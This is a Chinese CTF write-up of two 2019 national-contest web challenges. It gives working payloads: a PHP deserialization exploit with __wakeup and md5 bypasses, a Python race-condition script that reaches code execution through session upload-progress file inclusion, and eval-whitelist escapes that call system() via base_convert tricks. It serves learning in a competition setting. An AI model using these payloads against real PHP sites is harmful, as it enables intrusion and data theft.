2019國賽線上賽兩道web題wp
justsoso
這是第一天的第一道web題,右鍵看原始碼出現如下提示
易知是檔案包含,然後直接偽協議得到原始碼:
http://xxx..changame.ichunqiu.com/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php
下面是原始碼:
class Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); } public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } ?>
再獲得index.php的原始碼:
<html> <?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){ echo 'Missing parameter'.'<br>'; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ?> <!--Please test index.php?file=xxx.php --> <!--Please get the source of hint.php--> </html>
閱讀原始碼後知道是考反序列化,於是偽造序列化物件:
<?php class Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); $this->token = &$this->token_flag; } public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } $flag = new Flag("flag.php"); $handle = new Handle($flag); echo serialize($handle)."\n"; ?>
注意後面加的這一行
$this->token = &$this->token_flag;
這樣構造是為了繞過getFlag()裡的md5比較,通過指標引用變數來繞過比較。
得到
O:6:”Handle”:1:{s:14:”Handlehandle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;s:32:”b77375f945f272a2084c0119c871c13c”;s:10:”token_flag”;R:4;}}
繼續構造,要繞過wakeup使用物件屬性數超過真實屬性,並且private會在兩側加入空位元組,繞過md5的全等比較,將token的值改為null,在序列化欄位中即為N,token_flag取token的地址,改為R。最後構造最後的序列化欄位
O:6:"Handle":2:{s:14:"%00Handlehandle%00";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:”b77375f945f272a2084c0119c871c13c”;s:10"token_flag";R:4;}}
在這理貼一下關於 php序列化的詳解https://blog.csdn.net/heiyeshuwu/article/details/748935
最後再通過///繞過parse_str,從而繞過正則判斷,最終payload:
///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
最後訪問既可得到flag
非預期解法:
在比完賽後看到別人的wp才想起來這個點。在此記錄下,避免下次再次疏忽了。
用包含session檔案以RCE
這道題預設沒有session,我們可以通過偽造固定session,post一個空檔案以及惡意的PHP_SESSION_UPLOAD_PROGRES來執行構造的任意程式碼。
在php的配置中,session.upload_progress.cleanup預設是開啟的,這意味著我們上傳檔案後,進度資訊會被刪除,我們也就不能直接包含session檔案,這就需要利用條件競爭,趁進度資訊還未被刪除時包含session檔案。
貼一下python指令碼:
import requests
import threading
url='http://127.0.0.1/index.php'
r=requests.session()
headers={
"Cookie":'PHPSESSID=123'
}
def POST():
while True:
file={
"upload":('','') #上傳無效的空檔案
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":'<?php readfile("./flag.php");?>' #惡意進度資訊,readfile將直接輸出檔案內容
}
r.post(url,files=file,headers=headers,data=data)
def READ():
while True:
event.wait()
t=r.get("http://127.0.0.1/index.php?file=../tmp/tmp/sess_123")
if 'flag' not in t.text:
print('[+]retry')
else:
print(t.text)
event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
love_math
開啟題目,簡單的測試後只能輸入一般的表示式進行計算。開掃描後掃到了calc.php,得到了原始碼。
初步審計,有eval函式,嘗試正則繞過命令注入,失敗後從給出的數學函式入手,找到了base_convert函式,
通過base_convert(55490343972,10,36);
轉換成“phpinfo”,
payload:$asin=base_convert(55490343972,10,36);$asin();
成功得出了phpinfo頁面,後面繼續構造payload繞過長度限制和讀取flag需要的特殊字元。
通過用黑名單的字串抑或運算fuzz的出來dechex(16)^asinh^pi
為“*”,
於是構造最終payload:base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
payload傳上去後右鍵訪問頁面原始碼得到flag。
這個題目有個值得學習的點,就是payload後面的這一串dechex(16)^asinh^pi)
,當時在比賽的時候就是在這個點卡了特別久,當時不知道是怎麼繞過,知道是轉換為了*,但是具體怎麼轉換來的,還是有些懵懂,只能勉強理解不同函式fuzz出來的結果。不過這種思路確實騷,頭一次知道還能這樣玩。
以下是這道題的原始碼:
<?php
error_reporting(0);
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太長了不會算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("請不要輸入奇奇怪怪的字元");
}
}
//常用數學函式http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("請不要輸入奇奇怪怪的函式");
}
}
//幫你算出答案
eval('echo '.$content.';');
}
再看了下其他師傅的wp,發現還有一些比較好的解法:
比如說用到了hex2bin函式
構造過程:
php > echo base_convert('exec',36,10);
696468
php > echo base_convert('hex2bin',36,10);
37907361743
php > echo hexdec(bin2hex('ls *'));
1819484202
payload:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
相當於:
$pi=_GET;($_GET[pi])($_GET[abs])
還有的就是直接通過呼叫函式來洩露falg的函式getallheaders()
$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})